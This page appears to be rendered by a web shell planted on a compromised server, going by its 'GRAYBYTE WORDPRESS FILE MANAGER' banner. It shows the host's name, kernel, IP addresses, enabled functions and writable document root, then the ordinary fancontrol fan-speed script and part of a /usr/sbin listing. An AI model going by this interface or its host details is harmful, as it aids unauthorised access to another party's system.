✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/sbin//fancontrol
#!/usr/bin/bash
#
# Simple script implementing a temperature dependent fan speed control
# Supported Linux kernel versions: 2.6.5 and later
#
# Version 0.71
#
# Usage: fancontrol [CONFIGFILE]
#
# Dependencies:
#   bash, grep, sed, cut, sleep, readlink, lm_sensors :)
#
# Please send any questions, comments or success stories to
# marius.reiner@hdev.de
# Thanks!
#
# For configuration instructions and warnings please see fancontrol.txt, which
# can be found in the doc/ directory or at the website mentioned above.
#
#
#    Copyright 2003 Marius Reiner <marius.reiner@hdev.de>
#    Copyright (C) 2007-2014 Jean Delvare <jdelvare@suse.de>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program; if not, write to the Free Software
#    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
#    MA 02110-1301 USA.
#
#

PIDFILE="/var/run/fancontrol.pid"

#DEBUG=1
MAX=255

function LoadConfig
{
	local fcvcount fcv

	echo "Loading configuration from $1 ..."
	if [ ! -r "$1" ]
	then
		echo "Error: Can't read configuration file" >&2
		exit 1
	fi

	# grep configuration from file
	INTERVAL=$(grep -E '^INTERVAL=.*$' $1 | sed -e 's/INTERVAL=//g')
	DEVPATH=$(grep -E '^DEVPATH=.*$' $1 | sed -e 's/DEVPATH= *//g')
	DEVNAME=$(grep -E '^DEVNAME=.*$' $1 | sed -e 's/DEVNAME= *//g')
	FCTEMPS=$(grep -E '^FCTEMPS=.*$' $1 | sed -e 's/FCTEMPS=//g')
	MINTEMP=$(grep -E '^MINTEMP=.*$' $1 | sed -e 's/MINTEMP=//g')
	MAXTEMP=$(grep -E '^MAXTEMP=.*$' $1 | sed -e 's/MAXTEMP=//g')
	MINSTART=$(grep -E '^MINSTART=.*$' $1 | sed -e 's/MINSTART=//g')
	MINSTOP=$(grep -E '^MINSTOP=.*$' $1 | sed -e 's/MINSTOP=//g')
	# optional settings:
	FCFANS=$(grep -E '^FCFANS=.*$' $1 | sed -e 's/FCFANS=//g')
	MINPWM=$(grep -E '^MINPWM=.*$' $1 | sed -e 's/MINPWM=//g')
	MAXPWM=$(grep -E '^MAXPWM=.*$' $1 | sed -e 's/MAXPWM=//g')
	AVERAGE=$(grep -E '^AVERAGE=.*$' $1 | sed -e 's/AVERAGE=//g')

	# Check whether all mandatory settings are set
	if [[ -z ${INTERVAL} || -z ${FCTEMPS} || -z ${MINTEMP} || -z ${MAXTEMP} || -z ${MINSTART} || -z ${MINSTOP} ]]
	then
		echo "Some mandatory settings missing, please check your config file!" >&2
		exit 1
	fi
	if [ "$INTERVAL" -le 0 ]
	then
		echo "Error in configuration file:" >&2
		echo "INTERVAL must be at least 1" >&2
		exit 1
	fi

	# write settings to arrays for easier use and print them
	echo
	echo "Common settings:"
	echo "  INTERVAL=$INTERVAL"

	let fcvcount=0
	for fcv in $FCTEMPS
	do
		if ! echo $fcv | grep -E -q '='
		then
			echo "Error in configuration file:" >&2
			echo "FCTEMPS value is improperly formatted" >&2
			exit 1
		fi

		AFCPWM[$fcvcount]=$(echo $fcv |cut -d'=' -f1)
		AFCTEMP[$fcvcount]=$(echo $fcv |cut -d'=' -f2)
		AFCFAN[$fcvcount]=$(echo $FCFANS |sed -e 's/ /\n/g' |grep -E "${AFCPWM[$fcvcount]}" |cut -d'=' -f2)
		AFCMINTEMP[$fcvcount]=$(echo $MINTEMP |sed -e 's/ /\n/g' |grep -E "${AFCPWM[$fcvcount]}" |cut -d'=' -f2)
		AFCMAXTEMP[$fcvcount]=$(echo $MAXTEMP |sed -e 's/ /\n/g' |grep -E "${AFCPWM[$fcvcount]}" |cut -d'=' -f2)
		AFCMINSTART[$fcvcount]=$(echo $MINSTART |sed -e 's/ /\n/g' |grep -E "${AFCPWM[$fcvcount]}" |cut -d'=' -f2)
		AFCMINSTOP[$fcvcount]=$(echo $MINSTOP |sed -e 's/ /\n/g' |grep -E "${AFCPWM[$fcvcount]}" |cut -d'=' -f2)
		AFCMINPWM[$fcvcount]=$(echo $MINPWM |sed -e 's/ /\n/g' |grep -E "${AFCPWM[$fcvcount]}" |cut -d'=' -f2)
		[ -z "${AFCMINPWM[$fcvcount]}" ] && AFCMINPWM[$fcvcount]=0
		AFCMAXPWM[$fcvcount]=$(echo $MAXPWM |sed -e 's/ /\n/g' |grep -E "${AFCPWM[$fcvcount]}" |cut -d'=' -f2)
		[ -z "${AFCMAXPWM[$fcvcount]}" ] && AFCMAXPWM[$fcvcount]=255
		AFCAVERAGE[$fcvcount]=$(echo $AVERAGE |sed -e 's/ /\n/g' |grep -E "${AFCPWM[$fcvcount]}" |cut -d'=' -f2)
		[ -z "${AFCAVERAGE[$fcvcount]}" ] && AFCAVERAGE[$fcvcount]=1

		# verify the validity of the settings
		if [ "${AFCMINTEMP[$fcvcount]}" -ge "${AFCMAXTEMP[$fcvcount]}" ]
		then
			echo "Error in configuration file (${AFCPWM[$fcvcount]}):" >&2
			echo "MINTEMP must be less than MAXTEMP" >&2
			exit 1
		fi
		if [ "${AFCMAXPWM[$fcvcount]}" -gt 255 ]
		then
			echo "Error in configuration file (${AFCPWM[$fcvcount]}):" >&2
			echo "MAXPWM must be at most 255" >&2
			exit 1
		fi
		if [ "${AFCMINSTOP[$fcvcount]}" -ge "${AFCMAXPWM[$fcvcount]}" ]
		then
			echo "Error in configuration file (${AFCPWM[$fcvcount]}):" >&2
			echo "MINSTOP must be less than MAXPWM" >&2
			exit 1
		fi
		if [ "${AFCMINSTOP[$fcvcount]}" -lt "${AFCMINPWM[$fcvcount]}" ]
		then
			echo "Error in configuration file (${AFCPWM[$fcvcount]}):" >&2
			echo "MINSTOP must be greater than or equal to MINPWM" >&2
			exit 1
		fi
		if [ "${AFCMINPWM[$fcvcount]}" -lt 0 ]
		then
			echo "Error in configuration file (${AFCPWM[$fcvcount]}):" >&2
			echo "MINPWM must be at least 0" >&2
			exit 1
		fi
		if [ "${AFCAVERAGE[$fcvcount]}" -lt 1 ]
		then
			echo "Error in configuration file (${AFCPWM[$fcvcount]}):" >&2
			echo "AVERAGE must be at least 1" >&2
			exit 1
		fi
		declare -a PREVIOUSTEMP_$fcvcount

		echo
		echo "Settings for ${AFCPWM[$fcvcount]}:"
		echo "  Depends on ${AFCTEMP[$fcvcount]}"
		echo "  Controls ${AFCFAN[$fcvcount]}"
		echo "  MINTEMP=${AFCMINTEMP[$fcvcount]}"
		echo "  MAXTEMP=${AFCMAXTEMP[$fcvcount]}"
		echo "  MINSTART=${AFCMINSTART[$fcvcount]}"
		echo "  MINSTOP=${AFCMINSTOP[$fcvcount]}"
		echo "  MINPWM=${AFCMINPWM[$fcvcount]}"
		echo "  MAXPWM=${AFCMAXPWM[$fcvcount]}"
		echo "  AVERAGE=${AFCAVERAGE[$fcvcount]}"
		let fcvcount=fcvcount+1
	done
	echo
}

function DevicePath()
{
	if [ -h "$1/device" ]
	then
		readlink -f "$1/device" | sed -e 's/^\/sys\///'
	fi
}

function DeviceName()
{
	if [ -r "$1/name" ]
	then
		cat "$1/name" | sed -e 's/[[:space:]=]/_/g'
	elif [ -r "$1/device/name" ]
	then
		cat "$1/device/name" | sed -e 's/[[:space:]=]/_/g'
	fi
}

function ValidateDevices()
{
	local OLD_DEVPATH="$1" OLD_DEVNAME="$2" outdated=0
	local entry device name path

	for entry in $OLD_DEVPATH
	do
		device=$(echo "$entry" | sed -e 's/=[^=]*$//')
		path=$(echo "$entry" | sed -e 's/^[^=]*=//')

		if [ "$(DevicePath "$device")" != "$path" ]
		then
			echo "Device path of $device has changed" >&2
			outdated=1
		fi
	done

	for entry in $OLD_DEVNAME
	do
		device=$(echo "$entry" | sed -e 's/=[^=]*$//')
		name=$(echo "$entry" | sed -e 's/^[^=]*=//')

		if [ "$(DeviceName "$device")" != "$name" ]
		then
			echo "Device name of $device has changed" >&2
			outdated=1
		fi
	done

	return $outdated
}

function FixupDeviceFiles
{
	local DEVICE="$1"
	local fcvcount pwmo tsen fan

	let fcvcount=0
	while (( $fcvcount < ${#AFCPWM[@]} )) # go through all pwm outputs
	do
		pwmo=${AFCPWM[$fcvcount]}
		AFCPWM[$fcvcount]=${pwmo//$DEVICE\/device/$DEVICE}
		if [ "${AFCPWM[$fcvcount]}" != "$pwmo" ]
		then
			echo "Adjusing $pwmo -> ${AFCPWM[$fcvcount]}"
		fi
		let fcvcount=$fcvcount+1
	done

	let fcvcount=0
	while (( $fcvcount < ${#AFCTEMP[@]} )) # go through all temp inputs
	do
		tsen=${AFCTEMP[$fcvcount]}
		AFCTEMP[$fcvcount]=${tsen//$DEVICE\/device/$DEVICE}
		if [ "${AFCTEMP[$fcvcount]}" != "$tsen" ]
		then
			echo "Adjusing $tsen -> ${AFCTEMP[$fcvcount]}"
		fi
		let fcvcount=$fcvcount+1
	done

	let fcvcount=0
	while (( $fcvcount < ${#AFCFAN[@]} )) # go through all fan inputs
	do
		fan=${AFCFAN[$fcvcount]}
		AFCFAN[$fcvcount]=${fan//$DEVICE\/device/$DEVICE}
		if [ "${AFCFAN[$fcvcount]}" != "$fan" ]
		then
			echo "Adjusing $fan -> ${AFCFAN[$fcvcount]}"
		fi
		let fcvcount=$fcvcount+1
	done
}

# Some drivers moved their attributes from hard device to class device
function FixupFiles
{
	local DEVPATH="$1"
	local entry device

	for entry in $DEVPATH
	do
		device=$(echo "$entry" | sed -e 's/=[^=]*$//')

		if [ -e "$device/name" ]
		then
			FixupDeviceFiles "$device"
		fi
	done
}

# Check that all referenced sysfs files exist
function CheckFiles
{
	local outdated=0 fcvcount pwmo tsen fan

	let fcvcount=0
	while (( $fcvcount < ${#AFCPWM[@]} )) # go through all pwm outputs
	do
		pwmo=${AFCPWM[$fcvcount]}
		if [ ! -w $pwmo ]
		then
			echo "Error: file $pwmo doesn't exist" >&2
			outdated=1
		fi
		let fcvcount=$fcvcount+1
	done

	let fcvcount=0
	while (( $fcvcount < ${#AFCTEMP[@]} )) # go through all temp inputs
	do
		tsen=${AFCTEMP[$fcvcount]}
		if [ ! -r $tsen ]
		then
			echo "Error: file $tsen doesn't exist" >&2
			outdated=1
		fi
		let fcvcount=$fcvcount+1
	done

	let fcvcount=0
	while (( $fcvcount < ${#AFCFAN[@]} )) # go through all fan inputs
	do
		# A given PWM output can control several fans
		for fan in $(echo ${AFCFAN[$fcvcount]} | sed -e 's/+/ /')
		do
			if [ ! -r $fan ]
			then
				echo "Error: file $fan doesn't exist" >&2
				outdated=1
			fi
		done
		let fcvcount=$fcvcount+1
	done

	if [ $outdated -eq 1 ]
	then
		echo >&2
		echo "At least one referenced file is missing. Either some required kernel" >&2
		echo "modules haven't been loaded, or your configuration file is outdated." >&2
		echo "In the latter case, you should run pwmconfig again." >&2
	fi

	return $outdated
}

if [ -f "$1" ]
then
	LoadConfig $1
else
	LoadConfig /etc/fancontrol
fi

# Detect path to sensors
if echo "${AFCPWM[0]}" | grep -E -q '^/'
then
	DIR=/
elif echo "${AFCPWM[0]}" | grep -E -q '^hwmon[0-9]'
then
	DIR=/sys/class/hwmon
elif echo "${AFCPWM[0]}" | grep -E -q '^[1-9]*[0-9]-[0-9abcdef]{4}'
then
	DIR=/sys/bus/i2c/devices
else
	echo "$0: Invalid path to sensors" >&2
	exit 1
fi

if [ ! -d $DIR ]
then
	echo $0: 'No sensors found! (did you load the necessary modules?)' >&2
	exit 1
fi
cd $DIR

# Check for configuration change
if [ "$DIR" != "/" ] && [ -z "$DEVPATH" -o -z "$DEVNAME" ]
then
	echo "Configuration is too old, please run pwmconfig again" >&2
	exit 1
fi
if [ "$DIR" = "/" -a -n "$DEVPATH" ]
then
	echo "Unneeded DEVPATH with absolute device paths" >&2
	exit 1
fi
if ! ValidateDevices "$DEVPATH" "$DEVNAME"
then
	echo "Configuration appears to be outdated, please run pwmconfig again" >&2
	exit 1
fi
if [ "$DIR" = "/sys/class/hwmon" ]
then
	FixupFiles "$DEVPATH"
fi
CheckFiles || exit 1

if [ -f "$PIDFILE" ]
then
	echo "File $PIDFILE exists, is fancontrol already running?" >&2
	exit 1
fi
echo $$ > "$PIDFILE"

# associative arrays to hold pwmN device name as key, and as value the
# pwmN_enable and pwmN values as they were before fancontrol was started
declare -A PWM_ENABLE_ORIG_STATE
declare -A PWM_ORIG_STATE

# $1 = pwm file name
function pwmdisable()
{
	local ENABLE=${1}_enable

	# No enable file? Just set to max
	if [ ! -f $ENABLE ]
	then
		echo $MAX > $1
		return 0
	fi

	# Try to restore pwmN and pwmN_enable value to the same state as before
	# fancontrol start. Restoring the pwmN value is tried first, before the
	# pwmN_enable mode switch.
	# Some chips seem to need this to properly restore fan operation,
	# when activating automatic (2) mode.
	if [ ${PWM_ENABLE_ORIG_STATE[${1}]} ]
	then
		#restore the pwmN value
		if [ "$DEBUG" != "" ]
		then
			echo "Restoring ${1} original value of ${PWM_ORIG_STATE[${1}]}"
		fi
		echo ${PWM_ORIG_STATE[${1}]} > ${1} 2> /dev/null
		# restore the pwmN_enable value, if it is not 1.
		# 1 is already set through fancontrol and setting it again might just
		# reset the pwmN value.
		if [ ${PWM_ENABLE_ORIG_STATE[${1}]} != 1 ]
		then
			if [ "$DEBUG" != "" ]
			then
				echo "Restoring $ENABLE original value of ${PWM_ENABLE_ORIG_STATE[${1}]}"
			fi
			echo ${PWM_ENABLE_ORIG_STATE[${1}]} > $ENABLE 2> /dev/null
			# check if setting pwmN_enable value was successful. Checking the
			# pwmN value makes no sense, as it might already have been altered
			# by the chip.
			if [ "$(cat $ENABLE)" = ${PWM_ENABLE_ORIG_STATE[${1}]} ]
			then
				return 0
			fi
		# if pwmN_enable is manual (1), check if restoring the pwmN value worked
		elif [ "$(cat ${1})" = ${PWM_ORIG_STATE[${1}]} ]
		then
			return 0
		fi
	fi

	# Try pwmN_enable=0
	echo 0 > $ENABLE 2> /dev/null
	if [ "$(cat $ENABLE)" -eq 0 ]
	then
		# Success
		return 0
	fi

	# It didn't work, try pwmN_enable=1 pwmN=255
	echo 1 > $ENABLE 2> /dev/null
	echo $MAX > $1
	if [ "$(cat $ENABLE)" -eq 1 -a "$(cat $1)" -ge 190 ]
	then
		# Success
		return 0
	fi

	# Nothing worked
	echo "$ENABLE stuck to" "$(cat $ENABLE)" >&2
	return 1
}

# $1 = pwm file name
function pwmenable()
{
	local ENABLE=${1}_enable

	if [ -f $ENABLE ]
	then
		# save the original pwmN_control state, e.g. 1 for manual or 2 for auto,
		# and the value from pwmN
		local PWM_CONTROL_ORIG=$(cat $ENABLE)
		local PWM_ORIG=$(cat ${1})
		if [ "$DEBUG" != "" ]
		then
			echo "Saving $ENABLE original value as $PWM_CONTROL_ORIG"
			echo "Saving ${1} original value as $PWM_ORIG"
		fi
		#check for degenerate case where these values might be empty
		if [ $PWM_CONTROL_ORIG ] && [ $PWM_ORIG ]
		then
			PWM_ENABLE_ORIG_STATE[${1}]=$PWM_CONTROL_ORIG
			PWM_ORIG_STATE[${1}]=$PWM_ORIG
		fi
		# enable manual control by fancontrol
		echo 1 > $ENABLE 2> /dev/null
		if [ $? -ne 0 ]
		then
			return 1
		fi
	fi
	echo $MAX > $1
}

function restorefans()
{
	local status=$1 fcvcount pwmo

	echo 'Aborting, restoring fans...'
	let fcvcount=0
	while (( $fcvcount < ${#AFCPWM[@]} )) # go through all pwm outputs
	do
		pwmo=${AFCPWM[$fcvcount]}
		pwmdisable $pwmo
		let fcvcount=$fcvcount+1
	done
	echo 'Verify fans have returned to full speed'
	rm -f "$PIDFILE"
	exit $status
}

trap 'restorefans 0' SIGQUIT SIGTERM
trap 'restorefans 1' SIGHUP SIGINT

# main function
function UpdateFanSpeeds
{
	local fcvcount
	local pwmo tsens fan mint maxt minsa minso minpwm maxpwm
	local tval tlastval pwmpval fanval min_fanval one_fan one_fanval
	local -i pwmval

	let fcvcount=0
	while (( $fcvcount < ${#AFCPWM[@]} )) # go through all pwm outputs
	do
		#hopefully shorter vars will improve readability:
		pwmo=${AFCPWM[$fcvcount]}
		tsens=${AFCTEMP[$fcvcount]}
		fan=${AFCFAN[$fcvcount]}
		let mint="${AFCMINTEMP[$fcvcount]}*1000"
		let maxt="${AFCMAXTEMP[$fcvcount]}*1000"
		minsa=${AFCMINSTART[$fcvcount]}
		minso=${AFCMINSTOP[$fcvcount]}
		minpwm=${AFCMINPWM[$fcvcount]}
		maxpwm=${AFCMAXPWM[$fcvcount]}
		avg=${AFCAVERAGE[$fcvcount]}

		read tlastval < ${tsens}
		if [ $? -ne 0 ]
		then
			echo "Error reading temperature from $DIR/$tsens"
			restorefans 1
		fi

		read pwmpval < ${pwmo}
		if [ $? -ne 0 ]
		then
			echo "Error reading PWM value from $DIR/$pwmo"
			restorefans 1
		fi

		# copy PREVIOUSTEMP_$fcvcount array to prevtemp
		declare -a 'prevtemp=(${'"PREVIOUSTEMP_$fcvcount"'[@]})'
		# add new element to the end of the array
		prevtemp+=($tlastval)
		# if needed, remove the first element of the array
		if [ "${#prevtemp[@]}" -gt $avg ]
		then
			prevtemp=("${prevtemp[@]:1}")
		fi
		# calculate the average value of all elements
		tval=$(( ( ${prevtemp[@]/%/+}0 ) / ${#prevtemp[@]} ))
		# copy prevtemp back to PREVIOUSTEMP_$fcvcount
		eval "PREVIOUSTEMP_$fcvcount=(\"${prevtemp[@]}\")"

		# If fanspeed-sensor output shall be used, do it
		if [[ -n ${fan} ]]
		then
			min_fanval=100000
			fanval=
			# A given PWM output can control several fans
			for one_fan in $(echo $fan | sed -e 's/+/ /')
			do
				read one_fanval < ${one_fan}
				if [ $? -ne 0 ]
				then
					echo "Error reading Fan value from $DIR/$one_fan" >&2
					restorefans 1
				fi

				# Remember the minimum, it only matters if it is 0
				if [ $one_fanval -lt $min_fanval ]
				then
					min_fanval=$one_fanval
				fi

				if [ -z "$fanval" ]
				then
					fanval=$one_fanval
				else
					fanval="$fanval/$one_fanval"
				fi
			done
		else
			min_fanval=1  # set it to a non zero value, so the rest of the script still works
		fi

		# debug info
		if [ "$DEBUG" != "" ]
		then
			echo "pwmo=$pwmo"
			echo "tsens=$tsens"
			echo "fan=$fan"
			echo "mint=$mint"
			echo "maxt=$maxt"
			echo "minsa=$minsa"
			echo "minso=$minso"
			echo "minpwm=$minpwm"
			echo "maxpwm=$maxpwm"
			echo "tlastval=$tlastval"
			echo "prevtemp=${prevtemp[@]}"
			echo "tval=$tval"
			echo "pwmpval=$pwmpval"
			echo "fanval=$fanval"
			echo "min_fanval=$min_fanval"
		fi

		if (( $tval <= $mint ))
		  then pwmval=$minpwm # below min temp, use defined min pwm
		elif (( $tval >= $maxt ))
		  then pwmval=$maxpwm # over max temp, use defined max pwm
		else
		  # calculate the new value from temperature and settings
		  pwmval="(${tval}-${mint})*(${maxpwm}-${minso})/(${maxt}-${mint})+${minso}"
		  if [ $pwmpval -eq 0 -o $min_fanval -eq 0 ]
		  then # if fan was stopped start it using a safe value
		  	echo $minsa > $pwmo
			# Sleep while still handling signals
			sleep 1 &
			wait
		  fi
		fi
		echo $pwmval > $pwmo # write new value to pwm output
		if [ $? -ne 0 ]
		then
			echo "Error writing PWM value to $DIR/$pwmo" >&2
			restorefans 1
		fi
		if [ "$DEBUG" != "" ]
		then
			echo "new pwmval=$pwmval"
		fi
		let fcvcount=$fcvcount+1
	done
}

echo 'Enabling PWM on fans...'
let fcvcount=0
while (( $fcvcount < ${#AFCPWM[@]} )) # go through all pwm outputs
do
	pwmo=${AFCPWM[$fcvcount]}
	pwmenable $pwmo
	if [ $? -ne 0 ]
	then
		echo "Error enabling PWM on $DIR/$pwmo" >&2
		restorefans 1
	fi
	let fcvcount=$fcvcount+1
done

echo 'Starting automatic fan control...'

# main loop calling the main function at specified intervals
while true
do
	UpdateFanSpeeds
	# Sleep while still handling signals
	sleep $INTERVAL &
	wait
done

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
20 Aug 2026 6.54 PM
root / root
0755
NetworkManager
3.71 MB
24 Aug 2026 11.56 AM
root / root
0755
accessdb
15.422 KB
21 Sep 2025 12.57 PM
root / root
0755
addgnupghome
3.007 KB
18 Mar 2019 6.40 PM
root / root
0755
addpart
15.156 KB
4 Apr 2026 10.15 PM
root / root
0755
adduser
137.836 KB
8 Apr 2026 7.49 PM
root / root
0755
agetty
56.711 KB
4 Apr 2026 10.15 PM
root / root
0755
alternatives
39.594 KB
12 Mar 2025 10.43 AM
root / root
0755
anacron
39.516 KB
9 Apr 2026 5.59 AM
root / root
0755
apachectl
4.695 KB
8 Sep 2026 10.50 PM
root / root
0755
applygnupgdefaults
2.169 KB
25 Jan 2018 3.06 PM
root / root
0755
arp
63.211 KB
2 Oct 2024 7.02 PM
root / root
0755
arping
27.25 KB
20 Oct 2025 12.44 PM
root / root
0755
arptables
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
arptables-nft
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
arptables-nft-restore
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
arptables-nft-save
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
arptables-restore
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
arptables-save
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
atd
31.258 KB
12 Nov 2025 12.38 AM
root / root
0755
atrun
0.068 KB
12 Nov 2025 12.38 AM
root / root
0755
auditctl
51.586 KB
4 Apr 2026 8.12 PM
root / root
0755
auditd
137.047 KB
4 Apr 2026 8.12 PM
root / root
0755
augenrules
4.049 KB
4 Apr 2026 8.12 PM
root / root
0755
aureport
120.305 KB
4 Apr 2026 8.12 PM
root / root
0755
ausearch
120.273 KB
4 Apr 2026 8.12 PM
root / root
0755
authconfig
18.692 KB
12 Mar 2025 2.22 PM
root / root
0755
autrace
19.172 KB
4 Apr 2026 8.12 PM
root / root
0750
avcstat
15.352 KB
12 Mar 2025 11.36 PM
root / root
0755
badblocks
35.352 KB
21 Sep 2025 3.03 PM
root / root
0755
biosdecode
28.063 KB
9 Apr 2026 7.32 AM
root / root
0755
blkdeactivate
15.972 KB
3 Jun 2026 10.51 AM
root / root
0555
blkdiscard
23.203 KB
4 Apr 2026 10.15 PM
root / root
0755
blkid
51.609 KB
4 Apr 2026 10.15 PM
root / root
0755
blkmapd
39.414 KB
8 Apr 2026 4.14 PM
root / root
0755
blkzone
35.453 KB
4 Apr 2026 10.15 PM
root / root
0755
blockdev
31.414 KB
4 Apr 2026 10.15 PM
root / root
0755
bridge
130.945 KB
5 Apr 2026 8.31 AM
root / root
0755
capsh
31.211 KB
20 May 2026 10.00 AM
root / root
0755
cfdisk
96.344 KB
4 Apr 2026 10.15 PM
root / root
0755
cgdisk
150.859 KB
30 Jan 2022 11.44 PM
root / root
0755
chcpu
31.422 KB
4 Apr 2026 10.15 PM
root / root
0755
chgpasswd
59.766 KB
8 Apr 2026 7.49 PM
root / root
0755
chkconfig
43.781 KB
12 Mar 2025 10.43 AM
root / root
0755
chpasswd
55.633 KB
8 Apr 2026 7.49 PM
root / root
0755
chronyd
373.578 KB
9 Apr 2026 12.49 AM
root / root
0755
chroot
39.555 KB
10 Sep 2026 5.32 PM
root / root
0755
clock
59.766 KB
4 Apr 2026 10.15 PM
root / root
0755
consoletype
15.281 KB
12 Mar 2025 7.47 PM
root / root
0755
convertquota
69.008 KB
12 Mar 2025 8.44 PM
root / root
0755
cracklib-check
15.109 KB
9 Apr 2026 5.18 AM
root / root
0755
cracklib-format
0.249 KB
9 Apr 2026 5.18 AM
root / root
0755
cracklib-packer
15.109 KB
9 Apr 2026 5.18 AM
root / root
0755
cracklib-unpacker
15.102 KB
9 Apr 2026 5.18 AM
root / root
0755
create-cracklib-dict
0.971 KB
18 Aug 2015 6.41 PM
root / root
0755
crond
76.164 KB
9 Apr 2026 5.59 AM
root / root
0755
ctrlaltdel
15.188 KB
4 Apr 2026 10.15 PM
root / root
0755
ctstat
23.594 KB
5 Apr 2026 8.31 AM
root / root
0755
dcb
94.688 KB
5 Apr 2026 8.31 AM
root / root
0755
ddns-confgen
27.258 KB
13 Aug 2026 11.36 AM
root / root
0755
debugfs
233.031 KB
21 Sep 2025 3.03 PM
root / root
0755
delpart
15.117 KB
4 Apr 2026 10.15 PM
root / root
0755
depmod
165.57 KB
18 Sep 2025 11.41 AM
root / root
0755
devlink
165.836 KB
5 Apr 2026 8.31 AM
root / root
0755
dmfilemapd
23.297 KB
3 Jun 2026 10.52 AM
root / root
0555
dmidecode
164.313 KB
9 Apr 2026 7.32 AM
root / root
0755
dmsetup
156.773 KB
3 Jun 2026 10.52 AM
root / root
0555
dmstats
156.773 KB
3 Jun 2026 10.52 AM
root / root
0555
dnssec-cds
47.672 KB
13 Aug 2026 11.36 AM
root / root
0755
dnssec-checkds
0.902 KB
13 Aug 2026 11.35 AM
root / root
0755
dnssec-coverage
0.904 KB
13 Aug 2026 11.35 AM
root / root
0755
dnssec-dsfromkey
39.438 KB
13 Aug 2026 11.36 AM
root / root
0755
dnssec-importkey
35.438 KB
13 Aug 2026 11.36 AM
root / root
0755
dnssec-keyfromlabel
39.422 KB
13 Aug 2026 11.36 AM
root / root
0755
dnssec-keygen
47.445 KB
13 Aug 2026 11.36 AM
root / root
0755
dnssec-keymgr
0.9 KB
13 Aug 2026 11.35 AM
root / root
0755
dnssec-revoke
31.414 KB
13 Aug 2026 11.36 AM
root / root
0755
dnssec-settime
47.438 KB
13 Aug 2026 11.36 AM
root / root
0755
dnssec-signzone
95.883 KB
13 Aug 2026 11.36 AM
root / root
0755
dnssec-verify
31.445 KB
13 Aug 2026 11.36 AM
root / root
0755
dosfsck
84.563 KB
29 Jan 2022 6.41 PM
root / root
0755
dosfslabel
40.016 KB
29 Jan 2022 6.41 PM
root / root
0755
dovecot
144.023 KB
31 Aug 2026 4.03 PM
root / root
0755
dovecot_cpshutdown
3.266 KB
31 Aug 2026 12.00 AM
root / root
0755
dpll
48.156 KB
5 Apr 2026 8.31 AM
root / root
0755
dumpe2fs
31.289 KB
21 Sep 2025 3.03 PM
root / root
0755
e2freefrag
15.188 KB
21 Sep 2025 3.03 PM
root / root
0755
e2fsck
356.086 KB
21 Sep 2025 3.03 PM
root / root
0755
e2image
43.414 KB
21 Sep 2025 3.03 PM
root / root
0755
e2label
104.461 KB
21 Sep 2025 3.03 PM
root / root
0755
e2mmpstatus
31.289 KB
21 Sep 2025 3.03 PM
root / root
0755
e2undo
23.156 KB
21 Sep 2025 3.03 PM
root / root
0755
e4crypt
31.297 KB
21 Sep 2025 3.03 PM
root / root
0755
e4defrag
31.258 KB
21 Sep 2025 3.03 PM
root / root
0755
ebtables
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ebtables-nft
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ebtables-nft-restore
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ebtables-nft-save
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ebtables-restore
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ebtables-save
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ebtables-translate
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
edquota
89.5 KB
12 Mar 2025 8.44 PM
root / root
0755
efibootdump
23.867 KB
30 Jan 2022 5.12 AM
root / root
0755
efibootmgr
45.18 KB
30 Jan 2022 5.12 AM
root / root
0755
ether-wake
50.242 KB
2 Oct 2024 7.02 PM
root / root
0755
ethtool
988.961 KB
20 Oct 2025 2.14 PM
root / root
0755
exicyclog
11.099 KB
10 Sep 2026 2.30 PM
root / root
0755
exigrep
11.436 KB
10 Sep 2026 2.30 PM
root / root
0755
exim
1.65 MB
10 Sep 2026 2.30 PM
root / root
4755
exim_checkaccess
4.827 KB
10 Sep 2026 2.30 PM
root / root
0755
exim_dbmbuild
22.5 KB
10 Sep 2026 2.30 PM
root / root
0755
exim_dumpdb
40.891 KB
10 Sep 2026 2.30 PM
root / root
0755
exim_fixdb
45.273 KB
